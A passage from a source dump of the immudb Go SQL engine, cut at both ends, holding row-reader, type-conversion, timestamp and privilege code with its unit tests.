distinct: true, } reader, err := stmt.Resolve(context.Background(), nil, nil, nil) require.ErrorIs(t, err, errDummy) require.Nil(t, reader) require.True(t, reader1.closed) require.True(t, reader2.closed) }) t.Run("fail on creating distinct reader", func(t *testing.T) { reader1 := &dummyRowReader{ recordClose: true, failSecondReturningColumns: true, } reader2 := &dummyRowReader{ recordClose: true, } stmt := &UnionStmt{ left: &dummyDataSource{ ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return reader1, nil }, }, right: &dummyDataSource{ ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return reader2, nil }, }, distinct: true, } reader, err := stmt.Resolve(context.Background(), nil, nil, nil) require.ErrorIs(t, err, errDummy) require.Nil(t, reader) require.True(t, reader1.closed) require.True(t, reader2.closed) }) } func TestJoinErrors(t *testing.T) { baseReader := &dummyRowReader{ recordClose: true, } stmt := &SelectStmt{ ds: &dummyDataSource{ ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return baseReader, nil }, }, joins: []*JoinSpec{{ joinType: JoinType(99999), }}, } reader, err := stmt.Resolve(context.Background(), nil, nil, nil) require.ErrorIs(t, err, ErrUnsupportedJoinType) require.Nil(t, reader) require.True(t, baseReader.closed) } func TestProjectedRowReaderErrors(t *testing.T) { baseReader := &dummyRowReader{ recordClose: true, failReturningColumns: true, } stmt := &SelectStmt{ ds: &dummyDataSource{ ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return baseReader, nil }, }, } reader, err := stmt.Resolve(context.Background(), nil, nil, nil) require.ErrorIs(t, err, errDummy) require.Nil(t, reader) require.True(t, baseReader.closed) } func TestDistinctRowReaderErrors(t *testing.T) { baseReader := &dummyRowReader{ recordClose: true, failSecondReturningColumns: true, } stmt := &SelectStmt{ ds: &dummyDataSource{ ResolveFunc: func(ctx context.Context, tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { return baseReader, nil }, }, distinct: true, } reader, err := stmt.Resolve(context.Background(), nil, nil, nil) require.Error(t, err) require.Nil(t, reader) require.True(t, baseReader.closed) } func TestFloat64Type(t *testing.T) { ts := &Float64{val: 0.0} t.Run("comparison functions", func(t *testing.T) { cmp, err := ts.Compare(&Float64{val: 0.0}) require.NoError(t, err) require.Equal(t, 0, cmp) cmp, err = ts.Compare(&Float64{val: 0.1}) require.NoError(t, err) require.Equal(t, cmp, -1) cmp, err = ts.Compare(&Float64{val: -0.1}) require.NoError(t, err) require.Equal(t, cmp, 1) cmp, err = ts.Compare(&NullValue{t: Float64Type}) require.NoError(t, err) require.Equal(t, 1, cmp) cmp, err = ts.Compare(&NullValue{t: AnyType}) require.NoError(t, err) require.Equal(t, 1, cmp) cmp, err = (&NullValue{t: Float64Type}).Compare(ts) require.NoError(t, err) require.Equal(t, -1, cmp) cmp, err = (&NullValue{t: AnyType}).Compare(ts) require.NoError(t, err) require.Equal(t, -1, cmp) }) it, err := ts.inferType(map[string]ColDescriptor{}, map[string]string{}, "") require.NoError(t, err) require.Equal(t, Float64Type, it) err = ts.requiresType(Float64Type, map[string]ColDescriptor{}, map[string]string{}, "") require.NoError(t, err) err = ts.requiresType(IntegerType, map[string]ColDescriptor{}, map[string]string{}, "") require.ErrorIs(t, err, ErrInvalidTypes) v, err := ts.substitute(map[string]interface{}{}) require.NoError(t, err) require.Equal(t, ts, v) v = ts.reduceSelectors(&Row{}, "") require.Equal(t, ts, v) err = ts.selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) require.NoError(t, err) } func TestUUIDType(t *testing.T) { id := &UUID{val: uuid.New()} t.Run("comparison functions", func(t *testing.T) { cmp, err := id.Compare(&UUID{val: id.val}) require.NoError(t, err) require.Equal(t, 0, cmp) cmp, err = id.Compare(&UUID{val: uuid.New()}) require.NoError(t, err) require.NotZero(t, cmp) cmp, err = id.Compare(&NullValue{t: UUIDType}) require.NoError(t, err) require.Equal(t, 1, cmp) cmp, err = id.Compare(&NullValue{t: AnyType}) require.NoError(t, err) require.Equal(t, 1, cmp) _, err = id.Compare(&Float64{}) require.ErrorIs(t, err, ErrNotComparableValues) }) err := id.requiresType(UUIDType, map[string]ColDescriptor{}, map[string]string{}, "") require.NoError(t, err) err = id.requiresType(IntegerType, map[string]ColDescriptor{}, map[string]string{}, "") require.ErrorIs(t, err, ErrInvalidTypes) v, err := id.substitute(map[string]interface{}{}) require.NoError(t, err) require.Equal(t, id, v) v = id.reduceSelectors(&Row{}, "") require.Equal(t, id, v) err = id.selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) require.NoError(t, err) err = (&NullValue{}).selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) require.NoError(t, err) err = (&Integer{}).selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) require.NoError(t, err) err = (&Varchar{}).selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) require.NoError(t, err) } func TestTypedValueString(t *testing.T) { n := &NullValue{} require.Equal(t, "NULL", n.String()) i := &Integer{val: 10} require.Equal(t, "10", i.String()) s := &Varchar{val: "test"} require.Equal(t, "'test'", s.String()) b := &Bool{val: true} require.Equal(t, "true", b.String()) blob := &Blob{val: []byte{1, 2, 3}} require.Equal(t, hex.EncodeToString([]byte{1, 2, 3}), blob.String()) ts := &Timestamp{val: time.Date(2024, time.April, 24, 10, 10, 10, 10, time.UTC)} require.Equal(t, "2024-04-24 10:10:10", ts.String()) id := &UUID{val: uuid.New()} require.Equal(t, id.val.String(), id.String()) count := &CountValue{c: 1} require.Equal(t, "1", count.String()) sum := &SumValue{val: i} require.Equal(t, "10", sum.String()) min := &MinValue{val: i} require.Equal(t, "10", min.String()) max := &MaxValue{val: i} require.Equal(t, "10", max.String()) avg := &AVGValue{s: &Float64{val: 10}, c: 4} require.Equal(t, "2.5", avg.String()) jsVal := &JSON{val: map[string]interface{}{"name": "John Doe"}} require.Equal(t, jsVal.String(), `{"name":"John Doe"}`) } func TestRequiredPrivileges(t *testing.T) { type test struct { stmt SQLStmt readOnly bool privileges []SQLPrivilege } tests := []test{ { stmt: &SelectStmt{}, readOnly: true, privileges: []SQLPrivilege{SQLPrivilegeSelect}, }, { stmt: &UnionStmt{}, readOnly: true, privileges: []SQLPrivilege{SQLPrivilegeSelect}, }, { stmt: &tableRef{}, readOnly: true, privileges: []SQLPrivilege{SQLPrivilegeSelect}, }, { stmt: &UpsertIntoStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeUpdate}, }, { stmt: &UpsertIntoStmt{isInsert: true}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeInsert}, }, { stmt: &UpsertIntoStmt{ds: &SelectStmt{}}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeUpdate, SQLPrivilegeSelect}, }, { stmt: &UpsertIntoStmt{ds: &SelectStmt{}, isInsert: true}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeSelect}, }, { stmt: &DeleteFromStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeDelete}, }, { stmt: &CreateDatabaseStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeCreate}, }, { stmt: &CreateTableStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeCreate}, }, { stmt: &CreateIndexStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeCreate}, }, { stmt: &CreateIndexStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeCreate}, }, { stmt: &DropTableStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeDrop}, }, { stmt: &DropColumnStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeDrop}, }, { stmt: &DropIndexStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeDrop}, }, { stmt: &DropUserStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeDrop}, }, { stmt: &FnDataSourceStmt{}, readOnly: true, privileges: nil, }, { stmt: &BeginTransactionStmt{}, readOnly: true, privileges: nil, }, { stmt: &CommitStmt{}, readOnly: true, privileges: nil, }, { stmt: &RollbackStmt{}, readOnly: true, privileges: nil, }, { stmt: &UseDatabaseStmt{}, readOnly: true, privileges: nil, }, { stmt: &UseSnapshotStmt{}, readOnly: true, privileges: nil, }, { stmt: &AddColumnStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeAlter}, }, { stmt: &RenameTableStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeAlter}, }, { stmt: &RenameColumnStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeAlter}, }, { stmt: &RenameColumnStmt{}, readOnly: false, privileges: []SQLPrivilege{SQLPrivilegeAlter}, }, } for _, tc := range tests { t.Run(reflect.TypeOf(tc.stmt).String(), func(t *testing.T) { require.Equal(t, tc.stmt.readOnly(), tc.readOnly) require.Equal(t, tc.stmt.requiredPrivileges(), tc.privileges) }) } } func TestExprSelectors(t *testing.T) { type testCase struct { Expr ValueExp selectors []Selector } tests := []testCase{ { Expr: &Integer{}, }, { Expr: &Bool{}, }, { Expr: &Float64{}, }, { Expr: &NullValue{}, }, { Expr: &Blob{}, }, { Expr: &UUID{}, }, { Expr: &JSON{}, }, { Expr: &Timestamp{}, }, { Expr: &Varchar{}, }, { Expr: &Param{}, }, { Expr: &ColSelector{col: "col"}, selectors: []Selector{ &ColSelector{col: "col"}, }, }, { Expr: &JSONSelector{ColSelector: &ColSelector{col: "col"}}, selectors: []Selector{ &JSONSelector{ColSelector: &ColSelector{col: "col"}}, }, }, { Expr: &BinBoolExp{ left: &ColSelector{col: "col"}, right: &ColSelector{col: "col1"}, }, selectors: []Selector{ &ColSelector{col: "col"}, &ColSelector{col: "col1"}, }, }, { Expr: &NumExp{ left: &ColSelector{col: "col"}, right: &ColSelector{col: "col1"}, }, selectors: []Selector{ &ColSelector{col: "col"}, &ColSelector{col: "col1"}, }, }, { Expr: &LikeBoolExp{ val: &ColSelector{col: "col"}, }, selectors: []Selector{ &ColSelector{col: "col"}, }, }, { Expr: &ExistsBoolExp{}, }, { Expr: &InSubQueryExp{val: &ColSelector{col: "col"}}, selectors: []Selector{ &ColSelector{col: "col"}, }, }, { Expr: &InListExp{ val: &ColSelector{col: "col"}, values: []ValueExp{ &ColSelector{col: "col1"}, &ColSelector{col: "col2"}, &ColSelector{col: "col3"}, }, }, selectors: []Selector{ &ColSelector{col: "col"}, &ColSelector{col: "col1"}, &ColSelector{col: "col2"}, &ColSelector{col: "col3"}, }, }, } for _, tc := range tests { t.Run(reflect.TypeOf(tc.Expr).Elem().Name(), func(t *testing.T) { require.Equal(t, tc.selectors, tc.Expr.selectors()) }) } } ================================================ FILE: embedded/sql/timestamp.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import "time" func TimeToInt64(t time.Time) int64 { unix := t.Unix() nano := t.Nanosecond() return unix*1e6 + int64(nano)/1e3 } func TimeFromInt64(t int64) time.Time { return time.Unix(t/1e6, (t%1e6)*1e3).UTC() } ================================================ FILE: embedded/sql/timestamp_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "fmt" "testing" "time" "github.com/stretchr/testify/assert" ) func TestTimeConversions(t *testing.T) { for _, d := range []struct { t time.Time i int64 }{ {time.Date(2021, 12, 8, 13, 55, 23, 0, time.UTC), 1638971723000000}, {time.Date(2021, 12, 8, 13, 55, 23, 123456000, time.UTC), 1638971723123456}, {time.Date(1970, 1, 1, 0, 0, 0, 0, time.UTC), 0}, {time.Date(0, 1, 1, 0, 0, 0, 0, time.UTC), -62167219200000000}, } { t.Run(fmt.Sprintf("convert time (%v) to int64 (%d)", d.t, d.i), func(t *testing.T) { assert.Equal(t, d.i, TimeToInt64(d.t)) }) t.Run(fmt.Sprintf("convert int64 (%d) to time (%v)", d.i, d.t), func(t *testing.T) { assert.Equal(t, d.t, TimeFromInt64(d.i)) }) } } ================================================ FILE: embedded/sql/type_conversion.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "encoding/json" "fmt" "strconv" "strings" "time" "github.com/google/uuid" ) type converterFunc func(TypedValue) (TypedValue, error) func getConverter(src, dst SQLValueType) (converterFunc, error) { if src == dst { if src == JSONType { return jsonConverted(dst), nil } return func(tv TypedValue) (TypedValue, error) { return tv, nil }, nil } if src == AnyType { if dst == JSONType { return jsonConverted(dst), nil } return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: dst}, nil } return nil, ErrInvalidValue }, nil } if dst == TimestampType { if src == IntegerType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: TimestampType}, nil } return &Timestamp{val: time.Unix(val.RawValue().(int64), 0).Truncate(time.Microsecond).UTC()}, nil }, nil } if src == VarcharType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: TimestampType}, nil } str := val.RawValue().(string) var supportedTimeFormats = []string{ "2006-01-02 15:04:05 MST", "2006-01-02 15:04:05 -0700", "2006-01-02 15:04:05.999999", "2006-01-02 15:04:05", "2006-01-02 15:04", "2006-01-02", } for _, layout := range supportedTimeFormats { t, err := time.ParseInLocation(layout, str, time.UTC) if err == nil { return &Timestamp{val: t.Truncate(time.Microsecond).UTC()}, nil } } if len(str) > 30 { str = str[:30] + "..." } return nil, fmt.Errorf( "%w: can not cast string '%s' as a TIMESTAMP", ErrUnsupportedCast, str, ) }, nil } if src == JSONType { jsonToStr, err := getConverter(src, VarcharType) if err != nil { return nil, err } strToTimestamp, err := getConverter(VarcharType, TimestampType) if err != nil { return nil, err } return func(tv TypedValue) (TypedValue, error) { v, err := jsonToStr(tv) if err != nil { return nil, err } s, _ := v.RawValue().(string) return strToTimestamp(NewVarchar(strings.Trim(s, `"`))) }, nil } return nil, fmt.Errorf( "%w: only INTEGER and VARCHAR types can be cast as TIMESTAMP", ErrUnsupportedCast, ) } if dst == Float64Type { if src == IntegerType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: Float64Type}, nil } return &Float64{val: float64(val.RawValue().(int64))}, nil }, nil } if src == VarcharType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: Float64Type}, nil } s, err := strconv.ParseFloat(val.RawValue().(string), 64) if err != nil { return nil, fmt.Errorf( "%w: can not cast string '%s' as a FLOAT", ErrUnsupportedCast, val.RawValue().(string), ) } return &Float64{val: s}, nil }, nil } if src == JSONType { return jsonConverted(dst), nil } return nil, fmt.Errorf( "%w: only INTEGER and VARCHAR types can be cast as FLOAT", ErrUnsupportedCast, ) } if dst == BooleanType { if src == JSONType { return jsonConverted(dst), nil } return nil, fmt.Errorf( "%w: cannot cast %s to %s", ErrUnsupportedCast, src, dst, ) } if dst == IntegerType { if src == Float64Type { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: IntegerType}, nil } return &Integer{val: int64(val.RawValue().(float64))}, nil }, nil } if src == VarcharType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: IntegerType}, nil } s, err := strconv.ParseInt(val.RawValue().(string), 10, 64) if err != nil { return nil, fmt.Errorf( "%w: can not cast string '%s' as a INTEGER", ErrUnsupportedCast, val.RawValue().(string), ) } return &Integer{val: s}, nil }, nil } if src == JSONType { return jsonConverted(dst), nil } return nil, fmt.Errorf( "%w: only INTEGER and VARCHAR types can be cast as INTEGER", ErrUnsupportedCast, ) } if dst == UUIDType { if src == VarcharType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: UUIDType}, nil } strVal := val.RawValue().(string) u, err := uuid.Parse(strVal) if err != nil { return nil, fmt.Errorf( "%w: can not cast string '%s' as an UUID", ErrUnsupportedCast, val.RawValue().(string), ) } return &UUID{val: u}, nil }, nil } if src == BLOBType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: UUIDType}, nil } bs := val.RawValue().([]byte) u, err := uuid.FromBytes(bs) if err != nil { return nil, fmt.Errorf( "%w: can not cast blob '%s' as an UUID", ErrUnsupportedCast, val.RawValue().(string), ) } return &UUID{val: u}, nil }, nil } return nil, fmt.Errorf( "%w: only BLOB and VARCHAR types can be cast as UUID", ErrUnsupportedCast, ) } if dst == BLOBType { if src == VarcharType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: BLOBType}, nil } strVal := val.RawValue().(string) return &Blob{val: []byte(strVal)}, nil }, nil } if src == UUIDType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: BLOBType}, nil } u := val.RawValue().(uuid.UUID) return &Blob{val: u[:]}, nil }, nil } if src == JSONType { return func(val TypedValue) (TypedValue, error) { jsonStr := val.String() return &Blob{val: []byte(jsonStr)}, nil }, nil } return nil, fmt.Errorf( "%w: cannot cast type %s to BLOB", ErrUnsupportedCast, src, ) } if dst == VarcharType { if src == UUIDType { return func(val TypedValue) (TypedValue, error) { if val.RawValue() == nil { return &NullValue{t: VarcharType}, nil } u := val.RawValue().(uuid.UUID) return &Varchar{val: u.String()}, nil }, nil } if src == JSONType { return jsonConverted(dst), nil } return nil, fmt.Errorf( "%w: only UUID type can be cast as VARCHAR", ErrUnsupportedCast, ) } if dst == JSONType { return func(tv TypedValue) (TypedValue, error) { if tv.RawValue() == nil { return &NullValue{t: JSONType}, nil } switch tv.Type() { case Float64Type, IntegerType, BooleanType, AnyType: return &JSON{val: tv.RawValue()}, nil case VarcharType: var x interface{} s := strings.TrimSuffix(strings.TrimPrefix(tv.String(), "'"), "'") err := json.Unmarshal([]byte(s), &x) return &JSON{val: x}, err case BLOBType: rawJson, ok := tv.RawValue().([]byte) if !ok { return nil, fmt.Errorf("invalid %s value", JSONType) } return NewJsonFromString(string(rawJson)) } return nil, fmt.Errorf( "%w: can not cast %s value as %s", ErrUnsupportedCast, tv.Type(), JSONType, ) }, nil } if dst == AnyType && src == JSONType { return func(tv TypedValue) (TypedValue, error) { if !tv.IsNull() { return &NullValue{t: AnyType}, nil } return nil, ErrInvalidValue }, nil } return nil, fmt.Errorf( "%w: can not cast %s value as %s", ErrUnsupportedCast, src, dst, ) } func jsonConverted(t SQLValueType) converterFunc { return func(val TypedValue) (TypedValue, error) { if val.IsNull() { return &JSON{val: nil}, nil } jsonVal := val.(*JSON) if t == VarcharType { return NewVarchar(jsonVal.String()), nil } val, ok := jsonVal.castToTypedValue() if !ok { return nil, fmt.Errorf( "%w: can not cast JSON as %s", ErrUnsupportedCast, t, ) } conv, err := getConverter(val.Type(), t) if err != nil { return nil, err } return conv(val) } } ================================================ FILE: embedded/sql/union_row_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "errors" "fmt" "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/embedded/store" ) type unionRowReader struct { rowReaders []RowReader currReader int cols []ColDescriptor } func newUnionRowReader(ctx context.Context, rowReaders []RowReader) (*unionRowReader, error) { if len(rowReaders) == 0 { return nil, ErrIllegalArguments } cols, err := rowReaders[0].Columns(ctx) if err != nil { return nil, err } for i := 1; i < len(rowReaders); i++ { cs, err := rowReaders[i].Columns(ctx) if err != nil { return nil, err } if len(cols) != len(cs) { return nil, fmt.Errorf("%w: each subquery must have same number of columns", ErrColumnMismatchInUnionStmt) } for c := 0; c < len(cols); c++ { if cols[c].Type != cs[c].Type { return nil, fmt.Errorf("%w: expecting type '%v' for column '%s'", ErrColumnMismatchInUnionStmt, cols[c].Type, cs[c].Column) } } } return &unionRowReader{ rowReaders: rowReaders, cols: cols, }, nil } func (ur *unionRowReader) onClose(callback func()) { ur.rowReaders[0].onClose(callback) } func (ur *unionRowReader) Tx() *SQLTx { return ur.rowReaders[0].Tx() } func (ur *unionRowReader) TableAlias() string { return "" } func (ur *unionRowReader) Parameters() map[string]interface{} { return ur.rowReaders[0].Parameters() } func (ur *unionRowReader) OrderBy() []ColDescriptor { return nil } func (ur *unionRowReader) ScanSpecs() *ScanSpecs { return nil } func (ur *unionRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { return ur.rowReaders[0].Columns(ctx) } func (ur *unionRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { return ur.rowReaders[0].colsBySelector(ctx) } func (ur *unionRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { for _, r := range ur.rowReaders { err := r.InferParameters(ctx, params) if err != nil { return err } } return nil } func (ur *unionRowReader) Read(ctx context.Context) (*Row, error) { for { row, err := ur.rowReaders[ur.currReader].Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) && ur.currReader+1 < len(ur.rowReaders) { ur.currReader++ continue } if err != nil { return nil, err } if ur.currReader > 0 { // overwrite selectors using the ones from the first subquery valuesBySelector := make(map[string]TypedValue, len(ur.cols)) for i, c := range ur.cols { valuesBySelector[c.Selector()] = row.ValuesByPosition[i] } row.ValuesBySelector = valuesBySelector } return row, nil } } func (ur *unionRowReader) Close() error { merr := multierr.NewMultiErr() // Closing in reverse order to ensure the onClose callback // is called after the last reader is closed for i := len(ur.rowReaders) - 1; i >= 0; i-- { err := ur.rowReaders[i].Close() merr.Append(err) } return merr.Reduce() } ================================================ FILE: embedded/sql/union_row_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "testing" "github.com/stretchr/testify/require" ) func TestUnionRowReader(t *testing.T) { _, err := newUnionRowReader(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) params := map[string]interface{}{ "param1": 1, } dummyr := &dummyRowReader{ database: "db1", failReturningColumns: true, params: params, } _, err = newUnionRowReader(context.Background(), []RowReader{dummyr}) require.ErrorIs(t, err, errDummy) dummyr.failReturningColumns = false rowReader, err := newUnionRowReader(context.Background(), []RowReader{dummyr}) require.NoError(t, err) require.NotNil(t, rowReader) require.Equal(t, "", rowReader.TableAlias()) require.Nil(t, rowReader.OrderBy()) require.Nil(t, rowReader.ScanSpecs()) require.Equal(t, params, rowReader.Parameters()) paramTypes := make(map[string]string) err = rowReader.InferParameters(context.Background(), paramTypes) require.NoError(t, err) dummyr.failInferringParams = true err = rowReader.InferParameters(context.Background(), paramTypes) require.ErrorIs(t, err, errDummy) } ================================================ FILE: embedded/sql/values_row_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "fmt" ) type valuesRowReader struct { tx *SQLTx colsByPos []ColDescriptor colsBySel map[string]ColDescriptor tableAlias string values [][]ValueExp read int params map[string]interface{} checkTypes bool onCloseCallback func() closed bool } func NewValuesRowReader(tx *SQLTx, params map[string]interface{}, cols []ColDescriptor, checkTypes bool, tableAlias string, values [][]ValueExp) (*valuesRowReader, error) { if tableAlias == "" { return nil, fmt.Errorf("%w: table alias is mandatory", ErrIllegalArguments) } colsByPos := make([]ColDescriptor, len(cols)) colsBySel := make(map[string]ColDescriptor, len(cols)) for i, c := range cols { if c.AggFn != "" || c.Table != "" { return nil, fmt.Errorf("%w: only column name may be specified", ErrIllegalArguments) } col := ColDescriptor{ Table: tableAlias, Column: c.Column, Type: c.Type, } colsByPos[i] = col colsBySel[col.Selector()] = col } for _, vs := range values { if len(cols) != len(vs) { return nil, ErrInvalidNumberOfValues } } return &valuesRowReader{ tx: tx, params: params, colsByPos: colsByPos, colsBySel: colsBySel, tableAlias: tableAlias, values: values, checkTypes: checkTypes, }, nil } func (vr *valuesRowReader) onClose(callback func()) { vr.onCloseCallback = callback } func (vr *valuesRowReader) Tx() *SQLTx { return vr.tx } func (vr *valuesRowReader) TableAlias() string { return vr.tableAlias } func (vr *valuesRowReader) Parameters() map[string]interface{} { return vr.params } func (vr *valuesRowReader) OrderBy() []ColDescriptor { return nil } func (vr *valuesRowReader) ScanSpecs() *ScanSpecs { return nil } func (vr *valuesRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { return vr.colsByPos, nil } func (vr *valuesRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) { return vr.colsBySel, nil } func (vr *valuesRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { for _, vs := range vr.values { for _, v := range vs { _, err := v.inferType(vr.colsBySel, params, vr.tableAlias) if err != nil { return err } } } return nil } func (vr *valuesRowReader) Read(ctx context.Context) (*Row, error) { if vr.read == len(vr.values) { return nil, ErrNoMoreRows } vs := vr.values[vr.read] valuesByPosition := make([]TypedValue, len(vs)) valuesBySelector := make(map[string]TypedValue, len(vs)) for i, v := range vs { sv, err := v.substitute(vr.params) if err != nil { return nil, err } rv, err := sv.reduce(vr.tx, nil, vr.tableAlias) if err != nil { return nil, err } if vr.checkTypes { err = rv.requiresType(vr.colsByPos[i].Type, vr.colsBySel, nil, vr.tableAlias) if err != nil { return nil, err } } valuesByPosition[i] = rv valuesBySelector[vr.colsByPos[i].Selector()] = rv } row := &Row{ ValuesByPosition: valuesByPosition, ValuesBySelector: valuesBySelector, } vr.read++ return row, nil } func (vr *valuesRowReader) Close() error { if vr.closed { return ErrAlreadyClosed } vr.closed = true if vr.onCloseCallback != nil { vr.onCloseCallback() } return nil } ================================================ FILE: embedded/sql/values_row_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "testing" "github.com/stretchr/testify/require" ) func TestValuesRowReader(t *testing.T) { _, err := NewValuesRowReader(nil, nil, nil, true, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) cols := []ColDescriptor{ {Column: "col1"}, } _, err = NewValuesRowReader(nil, nil, cols, true, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = NewValuesRowReader(nil, nil, cols, true, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = NewValuesRowReader(nil, nil, cols, true, "table1", nil) require.NoError(t, err) _, err = NewValuesRowReader(nil, nil, cols, true, "table1", [][]ValueExp{ { &Bool{val: true}, &Bool{val: false}, }, }) require.ErrorIs(t, err, ErrInvalidNumberOfValues) _, err = NewValuesRowReader(nil, nil, []ColDescriptor{ {Table: "table1", Column: "col1"}, }, true, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) values := [][]ValueExp{ { &Bool{val: true}, }, } params := map[string]interface{}{ "param1": 1, } rowReader, err := NewValuesRowReader(nil, params, cols, true, "table1", values) require.NoError(t, err) require.Nil(t, rowReader.OrderBy()) require.Nil(t, rowReader.ScanSpecs()) require.Equal(t, params, rowReader.Parameters()) paramTypes := make(map[string]string) err = rowReader.InferParameters(context.Background(), paramTypes) require.NoError(t, err) require.NoError(t, rowReader.Close()) require.ErrorIs(t, rowReader.Close(), ErrAlreadyClosed) } ================================================ FILE: embedded/store/immustore.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the 